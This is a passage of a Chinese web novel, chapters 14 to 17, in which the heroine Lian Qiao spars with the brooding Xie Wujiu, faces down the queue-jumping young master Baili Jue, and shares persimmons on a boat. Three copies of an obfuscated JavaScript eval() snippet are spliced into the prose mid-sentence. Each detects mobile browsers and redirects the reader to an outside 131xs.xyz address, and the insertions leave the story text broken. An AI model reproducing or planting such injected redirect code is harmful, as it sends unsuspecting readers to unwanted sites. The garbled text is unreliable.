“啧,谁知道这祸事是不是就是他们引来的,听说当年四凶精魄出逃,最先……” 果然,不管是什么地方,都少不了这种爱嚼舌根的家伙。 14. 第 14 章 兴许渔村的村民们对“谢凛”和“谢无咎”这两个名字没什么反应,可十年前那场浩劫彻底改变了仙门的格局与地位——镇厄宗一夜倾覆,只留下这两个死里逃生的弟子。自然就像是大难不死的男孩哈利波特一样,在修士之间人尽皆知。 但根据系统提供的资料,四凶破封时,其他门派不过折损些弟子、毁了几处山门,唯独镇厄宗上下几百余人尽数殒命,连护山大阵都被鲜血浸透了,后山的镇妖井更是堆满了森森白骨。 于是,修士们私下议论纷纷,后来仙门中人多方探查,发现四凶中最先破封的就是镇厄宗负责镇压的凶兽梼杌,便有人信誓旦旦地声称,说这场祸事最初的起因定是他们看守不力所致。 虎落平阳被犬欺,登得越高,摔得就越惨。如今,宗门的庇佑不再,落在师兄弟二人身上的更多是带着恶意的眼光。 谢凛面无表情地抱剑而立,仿佛对这些闲言碎语充耳不闻。而谢无咎则笑眯眯地站在一旁,指尖轻轻拨弄着腰间的银铃,一副事不关己的模样。 但经过这些天的相处,连翘可太熟悉他了,这家伙越是笑得灿烂,心里指不定在盘算什么阴损主意。 她深吸一口气,故意提高音量喊道:“谢无咎!” 少年闻声回头,见是她,眉梢微挑:“哟,大小姐怎么来了?” 这一嗓子吸引了周围许多人的目光,连翘三步并作两步走到他身边,声音大得出奇。 “我突然想起来一件事,想问问你。” 这倒奇了,谢无咎顿了下,这还是昨夜她回来后第一次主动和自己搭话。 “什么事?” “你知道唇钉是什么吗?”连翘眨眨眼,仿佛就是突然想起来这个话题随便聊一聊,“就是我老家锦城很流行的一种打扮。” 谢无咎:“……?” 他诚实地摇了摇头,问:“怎么想起来说这个?” 连翘转头瞥了眼方才那几个窃窃私语的修士,道,“我是看到那边的几位,感觉都特别适合打唇钉呢。” 她语气欢快,听着就像说什么夸赞之语,那几个修士嘴里的讨论瞬间停住了。 还不待他们做出什么多余的反应,连翘假意推搡了一下谢无咎的胳膊,抱怨道: “你怎么这么孤陋寡闻呀?” “唇钉啊,唇钉,”她张嘴就来,“就是那种把上嘴唇和下嘴唇用一根钉子钉在一起的装饰!最适合舌头长管不住嘴的人了。” 周围瞬间安静下来。 几个修士脸色一阵青一阵白,其中一个忍不住怒道:“你什么意思?!” “哎呀!你说话不要这么大声嘛!很吓人的。” 连翘夸张地往后一跳,整个人缩到了谢无咎身后,做出一副瑟瑟发抖的可怜相。少年会意,装作很关心地拍了拍她的肩膀,宽慰道: “别怕。”转头又冲着对面笑笑,“小姑娘不是修士,平日里被宠坏了,口无遮拦惯了,几位多担待。” 那几个修士气得脸色铁青,但碍于谢凛冷若冰霜的目光和谢无咎指尖转个不停的银铃,也不好大庭广众之下对一个柔弱的姑娘出手,只能默默咽下了这口气。 连翘挑衅地冲他们比了个把嘴巴封起来的动作。 主角团的乳腺,由她来守护! 四人与芸娘吃完早饭再去码头排队的时候,队伍里的人已经换了一拨,他们又一次从队伍的末尾排起。 酒足饭饱,初秋的太阳暖洋洋的,照在人身上就好像披了一层厚薄刚好的棉被。古人说春困秋乏这句话不是没有道理的,站着站着,连翘就觉得有些犯困。 她从前天晚上到现在,不是在用神行符赶路,就是为了渔村的姑娘们劳心劳力,还要动脑筋找个借口给谢无咎打掩护,可谓是劳苦功高。 神经紧绷了这么久,如今处在这样的环境中,很快她的眼睛就睁不开了。 队伍挪动的速度几乎可以和乌龟媲美,她的头小鸡啄米似的点了两下,就在即将栽倒的瞬间,一只修长有力的手稳稳地扶住了她的肩膀。 谢无咎不知何时上前一步,站在了她的身侧,指尖的温度透过薄薄的衣料传来。 “困了?”少年声音里带着几分揶揄,“要不要借你靠会儿?” 连翘迷迷糊糊地点点头,顺势就往他肩上倒,谢无咎的身上有股清冽的松木香,混着晨露的气息,意外地好闻。 她蹭了蹭,找了个舒服的位置,含糊道:“谢谢……” 谢无咎低笑一声:“拿什么谢?” 这话让连翘瞬间清醒了几分。要不是这家伙用三日醉逼她连夜赶路去拍卖会,她现在至于困成这样吗? 还恬不知耻地问她要谢礼,脸皮简直比城墙还厚。 她勉强睁开一只眼睛,斜着睨他:“做人要懂得知足。” 少女声音还带着浓浓的困意,咬字粘连像是糖糕一样,却已经恢复了往日的伶牙俐齿。 “我跟你说谢谢是因为我比较有礼貌,并不是真的很感激你。” 谢无咎挑眉:“哦?” “你能从这么多人……”她的手虚虚地从队伍最前端指到末尾,“这么多人中被本小姐选中,成为靠枕,完全是你的荣幸。” 连翘理直气壮地又往他肩上靠了靠,合上眼睛最后结语。 “不要不识好歹。” 谢无咎一时语塞,他低头看着少女毛茸茸的发顶。少女的呼吸均匀绵长,睫毛在阳光下投下细碎的阴影,看起来毫无防备。 他实在想不明白——明明已经让她离开了,为什么还要回来?是没有拍到解缘丹吗?可按照她的财力,这几乎是不可能的事。 更让他困惑的是,她为什么要帮他在师兄和叶望舒面前打掩护?为什么要对那些嚼舌根的修士出言相讥? 谢无咎轻轻叹了口气。这个大小姐行事总是出人意料,就像他腰间那一团解不开绳结,越是想要理开,就越是纠缠不清。 队伍缓慢地向前移动,谢无咎下意识地揽住连翘的肩膀,小心翼翼地带着她往前挪动,生怕惊醒了她。 少女在他怀里无意识地蹭了蹭,像只餍足的小豹子,收起了锋利的爪牙,丝毫没有醒来的意思。 “阿咎——” 叶望舒的声音突然从身后传来,谢无咎回头,下意识比了一个嘘声的动作。 叶望舒的眼神顿了一下,落在他肩头少女的睡颜上,随即脸上便挂起了促狭的笑容,与此同时用手肘捅了捅身旁的谢凛。 就像是发现了班级里课桌下偷偷牵手的小情侣。 谢凛顺着她的目光看过来,冷峻的脸上竟然也浮现出了一丝若有似无的笑意。 谢无咎被看得起了一身鸡皮疙瘩,越想越不对劲——他为什么要在意她会不会被吵醒。 他试图用眼神向师兄和叶望舒传递“事情不是你们想的那样”的讯息,结果叶望舒带着一脸姨母笑冲他眨眨眼。 那是一个“我们都懂”的眼神。 谢无咎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15385459|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“……” 真是跳进黄河里都洗不清了,他现在解释说他只是爱睡觉,因此选择守护每一个人的梦周公的权力有用么? 他张了张嘴,最终什么都没说出口,只能头皮发麻地顶着二人充满鼓励意味的眼神随着队伍慢慢挪动。 岸边的队伍很长,几乎是所有村民的船都出动了,但仍旧供不应求。到了日上三竿的时候,他们终于能看见队伍的最前端了。 就在谢无咎准备叫醒连翘的时候,队伍中出现了一阵小小的骚动,骤然刺耳的喧哗声将她提前惊醒。她抬头,只见前方不远处,一个锦衣华服的少年正大摇大摆地往队伍前面挤,身后还跟着个牵着狗的点头哈腰的小厮。 “怎么回事?”连翘揉了揉眼睛,声音还带着刚睡醒的软糯,“怎么还有人插队啊?” 谢无咎轻嗤一声:“那是噬渊谷的少主,百里湘的弟弟。” 他压低声音:“这种人插队不是很正常么?” 【任务二,阶段二任务即将开启】 【新线索触发,噬渊谷百里珏】 系统叮咚一声提示音骤然在耳边炸响,连翘顿时清醒了大半。她眯起眼睛打量着那个趾高气昂的少年——只见他一身玄色锦袍,腰间挂着块价值不菲的龙纹玉佩,行为举止却不见半点与衣着匹配的沉稳,走路时下巴抬得老高,活像只骄傲的小公鸡。 这种家里上面有姐姐的男丁,大概率都是重男轻女的产物。再结合百里珏眼下这副目中无人的做派,结论几乎可以板上钉钉了——又是一个被宠坏了的耀祖。 “管他是谁家的少主,”连翘冷哼一声,“在耍脾气摆架子这方面,本小姐称第二,就没人敢称第一。” 谢无咎:“……” 小声些,这难道很光彩吗? 还没有腹诽完,就见少女打完哈欠,清清嗓子,提高嗓门喊道。 “喂!前面那个穿黑衣服的!好好排队,不许插队!” 少女的嗓音清亮,这一声喊得整个码头都安静了一瞬,几十双眼睛齐刷刷地看过来,就连跟在百里珏身后的那只狗也是,这场面比起早上的架势有过之而无不及。 连翘心道,难道姐的魅力就这么大,走到哪里都是人群的焦点。 百里珏猛地回头,黑沉的面色落在那张年轻的脸上透着难以形容的乖戾之气:“何人在此喧哗?” 连翘毫不畏惧地迎上他的视线,甚至还踮起脚尖挥了挥手:“这儿呢!说你呢!” 百里珏阴鸷的目光扫视过来,像是要把人挖心剖腹一样,谢无咎下意识将连翘往身后挡了挡。 下一秒就听见少女在他身后不满地嘀咕:“你干什么?抢镜头了,别挡着我发挥啊!” 一副天不怕地不怕,恨不得大闹天宫的样子。 谢无咎无语地看了她一眼。 那他挡的这一下算什么,算他瞎操心。 连翘扒开谢无咎的胳膊,露出脸来,扬起下巴一脸不服地看向百里珏。 “难道我说的不对么?” 阳光穿过码头的柳枝,在她脸上投下斑驳的光影。少女睡乱的发丝被晨风吹得微微翘起,被映射成浅金色,杏眼圆睁的模样活像被逗弄得炸毛的小兽,明明是一副要吵架的架势,却莫名透着几分鲜活可爱。 百里珏阴鸷的眼神在她脸上停留了几秒,突然神色一松,竟然勾起一个浅浅的笑容。 “在下并非插在姑娘前方,我后边诸位皆无异议,何以独姑娘见责?” 15. 第 15 章 这话说的,就好像只有连翘是那个爱管闲事的愣头青。 虽然她确实是。 她环顾四周,提高声音问道:“他插队你们都没意见吗? 码头上传来一阵窸窣响动,周围的修士要么抬头望天,要么低头看地,好像站了这么久才突然发现这天可真天啊,这地可真地啊。 总之就是没有一个人出声。 连翘清清嗓子,又问:“你们没有一个人觉得这样做不对吗?” 仍旧是鸦雀无声。 她看向这群修士,突然觉得有一丝怅然与无力。 瘦死的骆驼比马大,虽然近些年仙门落魄,但曾经是四大门派之一的噬渊谷,在修士中的地位仍然是很高的。谷主宠爱幼子的事情这些修士亦早有耳闻,便不敢触这位噬渊谷少主的霉头。 过去了好一会儿,回答连翘的只剩下风吹过柳枝的沙沙声。 她遗憾地叹了口气,表情却不见得有多沮丧,只是转头对着谢无咎眨眨眼:“好吧,既然这样的话——” 她突然拽住少年的胳膊,在众目睽睽之下拨开人群,大踏步向前走,径直站到了队伍中第一个的位置,还回头冲叶望舒和谢凛招招手: “快来快来!” 其余人被她这一连串的动作惊得目瞪口呆,脸上的表情就像是打翻了大染缸,五彩纷呈。 他们嘴唇蠕动着,却又因为自己方才明确表示了“不觉得插队不对”而无话可说。 跟在百里珏身后那个一脸炮灰相的小厮最先回过神来,扯着嗓子喊:“大胆——” 他的话音还未落下,就被百里珏抬手拦住。 只见这位少爷不知从哪里掏出一把折扇,哗啦一声在胸前展开。 “方才是在下唐突了,”他轻摇了两下手中扇子,额前碎发被微风吹开,挑起嘴角,饶有兴趣道,“这位姑娘倒是有趣得紧,不知可否告知芳名?” 端得是一副陌上人如玉,公子世无双的做派,只是气质上差了很大一截,只显出轻佻与油腻。 显而易见的,他看上连翘了。 这台词翻译在她的耳朵里,自动过滤成“女人,你成功地引起了我的注意”。 连翘脚下一滑,差点没站稳,她内心狂喊救命,甚至有点懊悔自己方才为何不能忍气吞声一下,非要出那口恶气。 可是仔细想想,千错万错,都是系统的错。 系统也没告诉她这噬渊谷的少主是一个想当霸道总裁的古风小生啊! 谢无咎弯下腰,在她耳边压低声音道:“大小姐,你这可算是遇上对手了。” 幸灾乐祸的味道很浓,连翘反手就拧了他一把,咬牙切齿道:“闭嘴!” 谢无咎“嘶”了一声,却还是笑得肩膀直抖,显然觉得这场面有趣极了。 “姑娘!”身后传来百里珏锲而不舍的呼喊,还有他身后小厮牵着的那只狗,也往往的叫个不停。 连翘深吸一口气,转过头来也不看他,低垂着眼睛道:“小女子不过江湖浮萍,偶饮半壶浊酒,怎敢劳公子垂问名姓?” 不就是古风小生吗?来啊,谁怕谁。 话音落下,她毫不留恋地转身,迈了几个大步然后跳到船上,方才含羞带怯的嗓音瞬间切换,她压着嗓子火急火燎地催促船夫: “老伯,我们五个人,麻烦快点开船!把桨摇出火星子也无所谓!” 叶望舒憋着笑,拉着谢凛快步跟上。二白早就上了船,正与船夫一起站在船头,见他们上来,憨厚地笑了笑。 “小仙长们坐稳了,咱们这就出发。” 船夫撑开船桨,小船驶离岸边,尾部的水花溅起三丈高,主角团一行人的身影渐渐远去。 百里珏站在码头,扇子“啪”地一手,眯着眼睛盯着他们的背影,半晌对身边小厮嘱咐道: “一炷香内,我要知道那姑娘姓甚名谁,家住何方。” 小船在湖面上轻轻摇晃,船舱里铺着干净的草席。二白在船头与船夫攀谈,船舱中只有他们四个人。叶望舒挨着连翘坐下,眼睛亮晶晶的:“说起来,相处这么多天,我们还不知道你的名字呢。” 姑娘眉眼弯弯。 “别说百里珏想知道,我也很想知道。” 船舱角落的竹篮里摆着两个红彤彤的柿子,连翘正在挑选,闻言手指一顿。 她慢条斯理地剥开柿子皮,金黄的汁水顺着指尖往下淌: “你们可以叫我小满。” “小满?”叶望舒歪着头重复道,“是二十四节气的那个小满吗?” “是的。” “晨露沾襟的小满时节,正衬你这个年纪的姑娘。” “叶姐姐说得哪里话……” 连翘最受不住的就是来自女孩子的赞美,闻言小脸一红,绞尽脑汁想着要怎么夸回去——望舒是月亮的意思,用在女孩子身上显出其高洁无暇…… 她想得入迷,力道没有控制好,手里的柿子突然“噗”地一声爆开,汁水直接溅了坐在她对面的谢无咎一脸。 少年的神情不知为何有些怔怔的,面颊上挂着的柿子汁水像是一团没有晕开的橘色调胭脂,与素白的皮肤形成鲜明对比,额前少年意气的中分刘海被打湿成缕,竟透出一种脆弱易碎的美感。 他愣了片刻才伸手去碰了碰自己脸上的柿子汁,开口。 “真是巧了,我正想着今日自己气色不太好,大小姐就给我添了道点睛之笔。” 一时分不出这是称赞还是问责。 连翘被他这反应噎住,准备好的道歉卡在喉咙里。她憋了半天,从香囊里掏出手帕扔过去。 “擦擦吧,这个色调不衬你。”想了想,她又试图为自己辩解,“我不是故意的,平时我在家都是丫鬟剥好了才吃……” 这倒不是假话,原身自小养尊处优,是个衣来伸手饭来张口的性子。她穿进这具身体的时日长了,发觉好些先前很熟练的技能都回到初级,其中就包括处理水果。 “是啦,小满不小心而已。” 听了连翘的话,叶望舒忍着笑将篮子里剩下的那个柿子扔给谢无咎。 “阿咎,”她道,“我记得你可会剥皮了,来,给小满露一手!” 谢无咎:? 他迷惑地看了眼叶望舒,姑娘冲他眨了眨眼,嘴角勾起一抹意味深长的笑,还悄悄比了个加油的手势。 那眼神活像在说“机会都给你创造好了,可千万要把握住啊。” 到底是误会了什么…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399934|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么还没完没了呢? 谢无咎张了张嘴,只是还不待他说出话来,那边连翘就已经相当理所当然地抬起充满希冀的眼睛看向他,道: “真的么真的么?我想要那种柿子肉都是完整的,只有皮被剥掉的,可以做到么?” 谢无咎:…… 她倒是挺会蹬鼻子上脸。 他与连翘沉默对视,姑娘的目光灼灼,双手合十抵在下巴上一转不转地盯着他,准确的说,是他手里的柿子。 最后,在连翘灼热的目光下,谢无咎点了点头。少女得了他肯定的回复,欢呼了一小下,拥抱了一下身旁的叶望舒。 “谢谢叶姐姐。” 谢无咎:? 谢无咎:“你不应该谢我吗?” 连翘充耳不闻,偏过头去,挑起了一个新的话题。 “说起来,芸娘现在教村里的姑娘养珍珠,这算不算将功抵过?” 她不是在刻意转移话题,是真的比较好奇主角团对待芸娘的态度到底是怎样的。 谢凛沉吟片刻:“她愿意留下来教村里的姑娘,自然是好事。” 连翘眨了眨眼,有些意外:“我还以为……像你这样规行矩步的人,不会轻易放过她呢。毕竟她也害了人命。” 谢凛神色微动,缓缓道:“《仙律》有云:‘修士犯戒,当由师门论处;凡人造孽,自有官府定夺。’然修士与凡人纠缠不清者,如藤缠树,理当……” 他引经据典说了一通,其中一大半都是文言文。连翘听得云里雾里,求助地看向叶望舒。 叶望舒笑着解释:“他的意思是,世间万物,自有其运行的法则。我们毕竟不是事件的亲历者,只能做好自己分内的事情。” 她温柔地看了谢凛一眼:“所以,芸娘是否有过错,过错如何,不应当由我们来评判。” 谢凛点头:“正是此意。天道有常,不为尧存,不为桀亡。犯了错误自然要付出代价,但不是所有事都非得杀人偿命不可。” 两人相视一笑,眼波流转间尽是默契。 不愧是主角啊,倒是和她的想法不谋而合。 连翘满意地看着男女主感情线顺畅发展,心想自己成功退休指日可待。 就在这时,“噗”的一声,她的面上一凉—— 谢无咎手中的柿子也爆开了,金黄的汁液同样喷了她一脸。 空气瞬间凝固。 “谢无咎!”连翘气得跳脚,又因为在船上不敢动作幅度过大,说话都像是牙缝里挤出来似的,“你在报复我吗?” 谢无咎这才回过神来,随即露出一个无辜至极的表情,可怜兮兮地道:“抱歉……我走神了。” 他垂下眼帘,声音渐低:“我也不是故意的。” 指尖还残留着柿子粘腻的触感,就像那些挥之不去的记忆,月黑风高杀人夜,铺天盖地席卷而来的血腥气,和那口频频出现在梦魇中的镇妖井。 谢凛方才的话在他心头回荡——犯了错误自然要付出代价,但不是所有事都非得杀人偿命不可。可有些罪孽,真的能这样轻描淡写地揭过吗? 谢无咎的手垂下去,纤长的睫毛落下细密的阴影。忽然间,他暗沉沉的视野里,猛地伸进来一只皓白的手。 16. 第 16 章 隔着一张案几,连翘摊开手掌,五根指头在少年面前乱晃。 “哈喽?这位同志,你还在吗?” 说着,她转头问其余两人:“他平时也走神这么久吗?” 谢凛迟疑着摇摇头,而叶望舒则贴心地将自己的手帕递过来。 “许是阿咎这两日没睡好,”她找补着,“小满,先擦擦脸吧。” 连翘接过帕子,却没管脸上粘稠的汁液,一把抓住谢无咎的小臂,使力想把他拉着站起来。 可没想到看起来瘦弱得很的人居然有这么大劲,她拉了半天完全纹丝不动。 “做什么?” 少年抬头看她,声音轻缓,一双乌沉沉的眸子从下往上看的时候如同两枚清水洗过的琉璃,浸在眼尾微垂的弧度里,竟透露出几分迷茫的乖巧。 连翘眯起眼睛——原著里扮猪吃老虎、伪装成无辜单纯的小少年就是谢无咎的拿手好戏,可如果当前他的状态是演出来的话,那未免也太真实了,简直是可以拿奥斯卡影帝的程度。 谢无咎眼下的低落情绪,不像假的。 因为什么呢?从芸娘身上联想到了自己么? 她叹口气,放软了声音,终于把他拽起身,摇摇晃晃朝着船尾走去。 “别问这么多,跟我来就是了。” 谢无咎亦步亦趋地跟在她身后,从阴沉沉的船舱中走出来,下一秒就被船尾明晃晃的日光刺得眯起眼睛。脚下的木板凹凸不平,连翘小心翼翼地提着裙子回头把船舱的帘子放下,把船尾和船舱彻底分割成了两个世界。 然后她拉着谢无咎蹲下来,用叶望舒的手帕擦了擦脸。 等到脸上不适的感觉消失了,她偏头看他,大方地耸了耸自己的肩膀。 湖面上带着潮气的风吹拂过耳畔,连翘的声音轻柔得不可思议。 “诺,礼尚往来,没睡好的话借你靠会儿?” 姑娘说的理直气壮,谢无咎的眼神本还怔着,片刻后嗤笑一声,质疑的目光扫视过眼前姑娘瘦弱的小身板。 “……就你?估计很硌得慌吧?” 行,还能发动嘲讽技能,人还没傻。 连翘点点头,格外看不惯先前谢无咎那副失魂落魄的样子——好好一个阴鸷疯批狂拽酷炫的白切黑,演什么小绿茶嘛! “什么态度,姐姐的太平洋宽肩可不是谁都能靠的。” 她用手拨弄了两下湖水。 “错过来这种千载难逢的机遇,你将来会后悔的哦,少年。” 谢无咎抱着手臂,对她说的话不以为意,眼神飘向平静的湖面。 沧溟被彻底封印后,整个无渡泽的水都变得清澈了许多,今早在码头排队的时候,连翘还看到有村民在湖边浣洗衣裳。 她摊开手里的帕子,上面绣着几朵兰花,还带着点叶望舒身上浅淡的香气,像是阳光下晒着的被子,是一种闻起来就让人感到温暖舒适的味道。 只是此刻帕子上沾着柿子汁水,有点破坏美感。 闲着也是闲着,她伸长手臂,将手帕浸在湖水中,不甚熟练地搓洗起来。 过了一会儿,连翘拧干手中帕子上的水,伸手道:“还我。” “什么?”少年回神。 “手帕啊,”连翘晃了晃湿漉漉的帕子,“叶姐姐的帕子洗好了,该换我的了。” 谢无咎的目光在她的手上停顿了一下,突然偏过头去,道:“不给。” “哈?”连翘瞪圆眼睛。 她觉得谢无咎确实是有点没睡好,今天怎么这么反常。 “少年,你以为你拒绝的是谁的帕子,我可是在拿叶姐姐的手帕跟你换欸。” “是啊,”谢无咎歪头,露出两颗尖尖的虎牙,“那又怎样?” 湖面上微风吹拂,掀起连翘额前碎发,她盯着谢无咎理所当然的神情,一时不知道是她疯了还是谢无咎疯了——原著里最终会为了叶望舒黑化的疯批男二,此刻眼中竟没有半分对这块帕子的珍视。 虽然上次他主动提起叶望舒和谢凛的关系也挺让她意外就是了。 在最初接下这个任务的时候,系统给她提供的资料里面曾重点标注过:谢无咎的黑化是有迹可循的,因为他对谢凛的嫉妒不是突如其来的恶意,而是经年累月的慢性毒药。 在《补天诀》原著中,男主谢凛拥有先天剑骨,三岁就能引动镇宗之宝山河剑共鸣,一路顺风顺水,很快便成为了镇厄宗首席弟子,属于是含着金汤匙出生的天才。 而谢无咎……他的母亲是镇厄宗弟子,在修补护山大阵时神识崩溃。谢无咎能破例入宗,不过是长老们对他母亲最后的一点怜悯。 因为母亲疯了,所以儿子也不正常,迟早也会疯的。 谢无咎就在这样的议论声中长大。 在谢凛享受众星捧月待遇的那些日子,他隔三岔五就会被同门欺负或者诬陷,然后被罚到刑堂挨鞭子。 命运总是厚此薄彼,他们原本就是如此截然不同的两种人。 但就像一个普通人从来不会去跟比尔盖茨比财富,跟奥黛丽赫本比美貌一样,如果不是镇厄宗覆灭,谢无咎也就不用和谢凛站在同一起跑线上,也就不会如此清晰的认识到人生的分水岭早在娘胎里就已经如此泾渭分明。 原著里,在师兄弟二人四处奔波的旅途中,不管谢无咎付出了多么大的努力,受了多么严重的伤,所有人的目光总是本能地寻找那道持剑的身影。 “谢凛呢?” “有谢凛仙长在我们就放心了。” “那就是先天剑骨啊……真厉害。” 就好像谢无咎的一切努力,他的生死,他这个人,都是无关紧要的。 连翘几乎能想象到谢无咎站在谢凛身边笑意盈盈的样子——笑容是假面,而那些话语是钝刀,一遍遍凌迟着他好不容易建立起的、脆弱的平衡。 后来他们结识了叶望舒,这位出生平凡但身怀补天石的乐观女孩,可就连她的金丝也会率先缠上谢凛的手腕。 仿佛冥冥之中有种法则:好的、珍贵的、耀眼的东西,天生就该属于谢凛。 所以谢无咎开始收集“战利品”——谢凛称赞过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15407268|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法器,他要抢;谢凛打的妖怪,他要比他更快打倒;甚至谢凛喜欢的姑娘,他也要装作痴情地示好。 这不是爱慕,是狩猎。 就像小孩子抢玩具,抢到手就索然无味。他要的从来不是玩具本身,而是抢夺时那种“看啊,我也有资格拥有”的扭曲快感。 这种心态是不对,但并非一朝一夕能改过来的,连翘也早就做好了徐徐图之的准备。 可是如今主动给他,怎么还不要了?这很不对劲。 难不成是她的任务完成的太成功了,真的靠三言两语就把原著里以身献祭梼杌的病娇疯批白切黑改造成了一个三观正直、不再觊觎师兄对象的好少年? 可这才多久,连百里湘都没找到呢! 连翘陷入了沉思。 【叮——】 系统提示音在她脑海中响起:【检测到宿主疑问,正在分析角色行为偏差……】 【角色行为分析完毕,当前偏差值12%,属于正常波动范围。只要主线任务进展不受影响,无需特别干预。】 连翘松了口气,看来最重要的还是原著主线剧情的发展和男二不能黑化,至于其他的都不是那么重要。 结果下一秒,她发现这口气还是松得太早了。 因为系统又紧接着提醒她。 【距离上次检测到爱慕谢凛的行为已过去41小时,注意及时完成任务,不然要被痛觉惩罚哦~】 最后一个字还加上了波浪音,听起来更欠揍了。 想到谢凛就想到那张喜怒不形于色的冰山脸,比起对这种人热脸贴冷屁股,连翘还是更喜欢和谢无咎这种戏精斗智斗勇,起码有来有回,还是能获得一些乐趣的。 “人家都明确拒绝了,现在还缠上去调戏真是很难不讨嫌。”连翘在意识里吐槽。 知道她两天前已经被直白地拒绝了,而这期间还被三日醉整得很惨,系统同她一起唉声叹气,宽慰道: 【就快了,就快了,到了落神村剧情,连翘爱慕的对象就不是谢凛了,你可以换一个新帅哥调戏。】 真的?什么帅哥? 连翘眼睛一亮,正要追问,突然被叮当作响的银铃声拉回到小船上。谢无咎拨弄了两下腰间的铃铛,幽幽道: “你强行把我拉出来,就是叫我跟你一起发呆的么?” 啊呀,走神被发现了。 “当然不是啊!”连翘矢口否认,“发呆是一个人的艺术,叫上你算什么事儿啊?” 她把手中的帕子摊平,上下扇着风,希望它干得快一点。 “我是拉你出来看风景的,心情不好的时候,就该看看开阔的地方。” 谢无咎眯起眼睛:“你哪只眼睛看见我心情不好了?” “这还需要看?”连翘翻了个白眼,“毁了我的最后一个柿子,要不是瞧你丧着脸,我早揍你了。” 谢无咎的目光落在连翘捏着手帕的指尖上,少女的指甲修剪得圆润干净,在阳光下泛着贝壳般的光泽。 他沉默了会儿,突然开口:“有这么喜欢吃柿子么?” 17. 第 17 章 连翘手中帕子甩得起劲,闻言头也不抬:“当然了,柿子是这个世界上最好吃的水果!” 少女提起喜欢的东西,声音不由自主地欢快起来,像是歌咏春天的小云雀。 “又甜又多汁,还能晒成柿饼,我不允许任何人忤逆柿子……” 谢无咎的指尖无意识地摩挲着银铃上的纹路,那些花纹很特别,歪歪扭扭的,并不像是成熟工匠的手笔。 “我以前认识的一个人,”他轻声道,“也很喜欢柿子,还说要请我吃柿饼。” 以前认识……? 连翘动作一顿,放缓了呼吸,等着下文。但谢无咎只是站起身,拍了拍衣摆上并不存在的灰尘。 “还想吃么?” “想啊!”连翘立刻接话,“但最后一个不是被你捏爆了么?” 少年在船尾四处摸索了一下,突然弯腰在某处木板上一磕。 “咔哒”一声,暗格应声而开,露出里面隐藏着的空间,面积不小,足以容下两个人弯腰进入。里面整整齐齐码着五六个箩筐,角落散落着一些柿子,橙红的果皮上还带着晨露。 “船夫存放打来的鱼虾和货物的地方。”他语气轻松,仿佛刚刚追忆往昔时的那一抹怅然从未存在。 连翘扭头看了看船舱的方向,害怕那里面坐着的谢凛和叶望舒听到这边的响动,声音压得很低。 “我们这样,好像做贼,会不会不太好呀?” 谢无咎似笑非笑地睨她一眼,闻言就要触动机关把暗格关起来。 “欸,等等——” 连翘连忙拽住他的胳膊,叽里咕噜的,也不知道是在说服他还是在说服自己。 “我就拿一个,不会被发现的,我还可以放下银钱,不算是偷,对,不算是偷。” 暗格里的光照有限,空气中弥散着细小的微尘。连翘走下台阶的时候,险些踩到裙摆。 她伸手去提裙子,却发觉层层叠叠的布料先一步动了。 再回头,谢无咎站在她后面,冲她抬手展示了下手里的绣工精致的锦缎。 “不错嘛,很有眼力见。” 连翘随口夸道,她猫着腰走到角落,在一堆柿子中挑挑拣拣,最后选了个最饱满的,橙红的果皮在昏暗中也泛着诱人的光泽。 “喏,剥皮,你欠我的。” 她将自己的裙摆从谢无咎手里拿过来,然后将柿子塞进他手里,使唤起人来理直气壮。 不管怎么说,谢无咎炸毛的样子总比沉湎在往事中的忧郁悲伤要好。连翘已经做好了被呛声几句的准备,甚至反击的腹稿已经打好了。 可少年只是沉默着接过柿子,修长的手指轻轻摩挲着光滑的果皮。 诶,怎么哑火了? 连翘抬头,想要凑近点去看他的表情,而谢无咎背对着舱口透进来的光,脸上的神态看不真切,只能看见细碎刘海下皱起的眉头,像是有千钧重担压在那里。 他笑起来的时候,确实是格外天真肆意少年气;但每每肃穆下来,便生出一种雌雄莫辨的近乎悲悯的意味。 就好像唇角上扬或下落的弧度能够将他整个人割裂开来,分成白与黑极端的两瓣。 这种角度,这种光线,这种阴晴不定的表情——许多书里反派要干坏事的时候都是这样的。 连翘心中顿时警铃大作,后知后觉地想到,三日醉的药效持续三天,谢无咎是前天夜里将其下在了红糖水里,昨日她往清溪镇跑了个往返,所以今天还没有过三天。 药效还没过,原著男女主不在身边,她不应该这么嚣张的。 她抿出一个笑容,伸手就要把柿子拿回来,试图弥补自己掉以轻心的过错。 可惜已经晚了,手刚伸出去,她就听见谢无咎的声音轻轻地落在她的耳畔。 “别动。” 他语调轻缓,像是婴儿床头的摇篮曲,也像是艳鬼蛊惑人心的呢喃。 “蹲下身去,就……像个蘑菇一样,一动不动的。” 连翘霎时间明白了他的意思。 